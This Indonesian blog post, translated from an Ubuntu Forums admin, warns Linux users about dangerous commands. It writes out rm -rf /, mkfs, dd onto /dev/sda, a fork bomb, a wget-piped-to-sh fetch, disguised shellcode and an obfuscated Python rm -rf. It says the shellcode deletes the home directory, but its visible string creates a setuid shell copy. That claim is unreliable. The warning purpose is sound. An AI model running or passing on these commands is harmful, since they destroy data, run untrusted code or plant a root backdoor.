Sabtu, 14 April 2012

LINUX: Perintah-Perintah Shell Yang Berbahaya

Saya menerima begitu banyak pertanyaan mengenai perintah-perintah berbahaya yang bisa dijalankan melalui shell, yaitu perintah yang menyebabkan kerusakan besar atau gangguan pada komputer pengguna.

Berikut adalah beberapa contoh umum perintah-perintah berbahaya yang harus diingat sepanjang waktu. Sekali lagi, perintah ini sangat berbahaya dan jangan pernah mencobanya pada komputer yang memiliki data-data penting.

Sekali lagi, PERINTAH BERBAHAYA - BOLEH DILIHAT TAPI JANGAN DIJALANKAN.

Daftar di bawah ini jauh dari lengkap, tapi paling tidak ada sedikit petunjuk agar anda tidak melakukannya dengan sengaja atau tidak. Ingatlah bahwa perintah ini bisa disamarkan dalam bentuk yang 'lebih aman' menurut pandangan anda, sehingga anda sendiri merasa cukup aman untuk menjalankan perintah mematikan ini.

1. Bahaya: Hapus semua file.

Hapus semua file, hapus direktori aktif, dan hapus semua file terlihat di direktori aktif. Sudah jelas mengapa perintah ini berbahaya untuk dieksekusi.

rm -rf /
rm -rf .
rm -rf *

Satu-satunya masalah adalah, kaitan ke direktori sebelumnya akan sesuai dengan direktori di atasnya dan pada gilirannya akan menghapus semua tingkat direktori. Sebuah alternatif perintah yang sesuai dengan kondisi di atas adalah:

rm -r .[^.]*

yang akan mengecualikan entri "..". dan hanya ini yang tersisa dalam harddisk anda.


2. Bahaya: Format ulang.

Data pada perangkat yang disebutkan setelah perintah mkfs akan dihancurkan dan diganti dengan filesystem kosong.

mkfs
mkfs.ext3
mkfs.apa_saja

3. Bahaya: Manipulasi blok.

Manipulasi blok perangkat dilakukan dengan menuliskan data mentah ke dalam blok perangkat. Sering kali data ini menimpa data filesystem dan menyebabkan kehilangan total data.

perintah_apapun > / dev / sda
dd if=suatu_perintah of=/dev/sda

4. Bahaya: Forkbom.

Memaksa melakukan sejumlah besar proses sampai sistem membeku, memaksa anda untuk melakukan hard reset yang bisa menyebabkan data korup, kerusakan data, atau nasib buruk lainnya.

:(){:|:&};:

untuk perl:

fork while fork

5. Bahaya: Tarbom

Seseorang meminta anda untuk mengekstrak arsip *.tar ke direktori yang sudah ada dan banyak mengandung data. Arsip *.tar ini dapat dibuat untuk menghasilkan jutaan file, atau menyuntikkan file ke dalam sistem dengan menebak nama file. Untuk mencegahnya, anda harus terbiasa mendekompresi (ekstrak) arsip apapun di dalam direktori baru yang harus anda buat.

Sejenis dengan ini, anda yakin ingin mengekstrak sebuah arsip yang tampaknya berukuran kecil. Pada kenyataannya itu adalah sejumlah data yang sangat besar hingga berukuran ratusan Giga Byte, dan data sia-sia itu mengisi hard-disk anda. Anda sebaiknya tidak menyentuh data dari sumber yang tidak dipercaya.

6. Bahaya: Shellscript.

Seseorang memberikan Anda sebuah link shellscript untuk di eksekusi. Padahal script itu bisa saja berisi perintah yang berbahaya dan jahat. Jangan menjalankan kode dari sumber yang tidak bisa dipercaya.

wget http://suatu_situs/suatu_file
sh ./suatu_file.

wget http://suatu_situs/suatu_file -O- | sh

7. Kompilasi kode.

Seseorang memberikan Anda suatu kode sumber kemudian memberitahu Anda untuk mengkompilasinya. Sangat mudah untuk menyembunyikan dan menyisipkan kode berbahaya dalam sebagian besar beris-baris kode sumber. Kode sumber ini merupakan media yang baik untuk menebarkan perintah berbahaya tanpa takut ketahuan.
Jangan mengkompilasi atau menjalankan kode sumber kecuali dari sumber yang dikenal luas, atau diperoleh dari situs terkemuka (yaitu SourceForge, homepage penulis, alamat-alamat resmi Linux).

8. Perintah berbahaya dalam bentuk aman

Sebuah contoh yang sederhana adalah seseorang menuliskan ini dan menginginkan anda memasukkannya dalam shell.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Bagi pengguna komputer awam atau bahkan pengguna yang sedikit berpengalaman, barisan karakter di atas terlihat seperti "kode heksa tanpa arti" yang biasanya aman. Namun, ini sebenarnya menjalankan rm-rf ~ / & yang akan menghancurkan direktori home Anda sebagai user biasa, atau semua file sebagai root. Ini adalah perintah rm-rf ~ / & dalam bentuk heksa. Jadi hati-hati sekali dengan hal-hal yang anda anggap aman ternyata bentuk lain dari sebuah perintah berbahaya.


Sekali lagi, dalam python anda dihadapkan pada kode yang mempunyai bentuk aman seperti ini:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Dimana "sn!.sg!+" adalah bentuk sederhana dari rm-rf * yang menggeser karakter ke atas. Tentu saja ini contoh yang konyol, saya tidak mengharapkan ada seseorang yang cukup bodoh untuk meng-copy-paste baris perintah mengerikan ini ke dalam terminal dan menjalankannya tanpa mencurigai ada sesuatu yang fatal.

Penulis adalah admin forum http://ubuntuforums.org/
Diterjemahkan secara bebas oleh xtalplanet

0 komentar:

Posting Komentar